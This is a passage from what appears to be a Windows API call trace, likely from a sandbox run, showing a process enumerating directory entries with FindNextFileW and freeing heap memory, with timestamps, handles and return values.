hHeap=0x660000) returned 1 [0146.754] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.755] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.755] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.755] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.755] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.755] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.756] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.756] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.756] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.756] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.756] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0146.756] FindNextFileW (in: hFindFile=0x6c1ba0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.756] FindClose (in: hFindFile=0x6c1ba0 | out: hFindFile=0x6c1ba0) returned 1 [0146.757] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.757] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.757] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.757] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.757] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.757] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.757] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.757] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.757] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.757] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.757] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.757] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.758] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.758] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.758] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.758] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.758] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.758] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.758] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.758] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.758] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.758] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.759] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.759] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.759] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.759] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 0 [0146.759] FindClose (in: hFindFile=0x6c1720 | out: hFindFile=0x6c1720) returned 1 [0146.759] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4180938 | out: hHeap=0x660000) returned 1 [0146.760] FindNextFileW (in: hFindFile=0x6c1aa0, lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8) returned 1 [0146.760] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4180938 | out: hHeap=0x660000) returned 1 [0146.760] FindNextFileW (in: hFindFile=0x6c1aa0, lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8) returned 1 [0146.760] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4180938 | out: hHeap=0x660000) returned 1 [0146.760] FindNextFileW (in: hFindFile=0x6c1aa0, lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8) returned 1 [0146.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4180938 | out: hHeap=0x660000) returned 1 [0146.765] FindNextFileW (in: hFindFile=0x6c1aa0, lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8) returned 1 [0146.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4180938 | out: hHeap=0x660000) returned 1 [0146.765] FindNextFileW (in: hFindFile=0x6c1aa0, lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8) returned 1 [0146.766] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0146.766] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.768] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8960, Size=0x4000) returned 0x41b0950 [0146.768] FindNextFileW (in: hFindFile=0x6c19e0, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308) returned 1 [0146.768] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.768] FindNextFileW (in: hFindFile=0x6c14e0, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584) returned 1 [0146.769] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0146.769] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308) returned 1 [0146.769] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0146.769] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308) returned 1 [0146.769] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0146.769] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308) returned 1 [0146.770] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0146.770] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308) returned 1 [0146.770] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0146.770] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308) returned 1 [0146.770] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0146.770] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308) returned 1 [0146.770] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0146.770] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308) returned 1 [0146.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0146.772] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308) returned 1 [0146.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0146.772] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308) returned 1 [0146.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0146.773] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308) returned 1 [0146.773] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0146.773] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308) returned 1 [0146.773] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0146.773] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308) returned 1 [0146.773] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0146.773] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308) returned 1 [0146.773] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0146.773] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308) returned 1 [0146.774] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c4960 | out: hHeap=0x660000) returned 1 [0146.774] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c) returned 1 [0146.774] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c4960 | out: hHeap=0x660000) returned 1 [0146.774] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c) returned 1 [0146.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c4960 | out: hHeap=0x660000) returned 1 [0146.775] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c) returned 1 [0146.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c4960 | out: hHeap=0x660000) returned 1 [0146.998] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c) returned 1 [0146.998] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c4960 | out: hHeap=0x660000) returned 1 [0146.998] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c) returned 1 [0146.998] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c4960 | out: hHeap=0x660000) returned 1 [0146.999] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c) returned 1 [0146.999] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c4960 | out: hHeap=0x660000) returned 1 [0146.999] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c) returned 1 [0146.999] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c4960 | out: hHeap=0x660000) returned 1 [0146.999] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c) returned 1 [0146.999] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c4960 | out: hHeap=0x660000) returned 1 [0146.999] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c) returned 1 [0146.999] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c4960 | out: hHeap=0x660000) returned 1 [0146.999] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c) returned 1 [0147.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0147.000] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308) returned 1 [0147.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0147.000] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308) returned 1 [0147.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0147.000] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308) returned 1 [0147.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0147.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0147.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0147.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0147.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0147.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0147.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0147.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0147.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0147.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0147.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0147.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b4958 | out: hHeap=0x660000) returned 1 [0147.003] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.003] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.003] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.003] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.003] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.003] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.003] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.003] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.005] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.005] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.007] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.007] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.007] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.007] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.008] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.009] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.009] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.009] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.009] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.010] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.010] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.011] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0147.011] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.012] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.012] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.013] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.013] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.014] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.014] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.014] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.014] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.015] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.015] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.016] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.016] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0147.019] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.019] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.019] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.020] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0147.024] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0147.026] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0147.027] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0147.027] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.027] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0147.028] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0147.028] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0147.028] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0147.029] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0147.029] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0147.030] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e4970 | out: hHeap=0x660000) returned 1 [0147.030] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0147.030] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0147.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0147.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0147.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0147.381] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0147.384] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b8958 | out: hHeap=0x660000) returned 1 [0147.386] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0147.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0147.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0147.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0147.773] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0147.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.776] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.777] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.777] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.779] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.781] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.783] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.804] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.804] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0148.030] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0148.030] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0148.030] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0148.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0148.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0148.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0148.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0148.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0148.041] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0148.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0148.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0148.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0148.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0148.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0148.047] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0148.201] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.203] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.204] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.206] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.208] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.209] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.211] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.212] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.214] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.215] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.217] HeapFree (in: 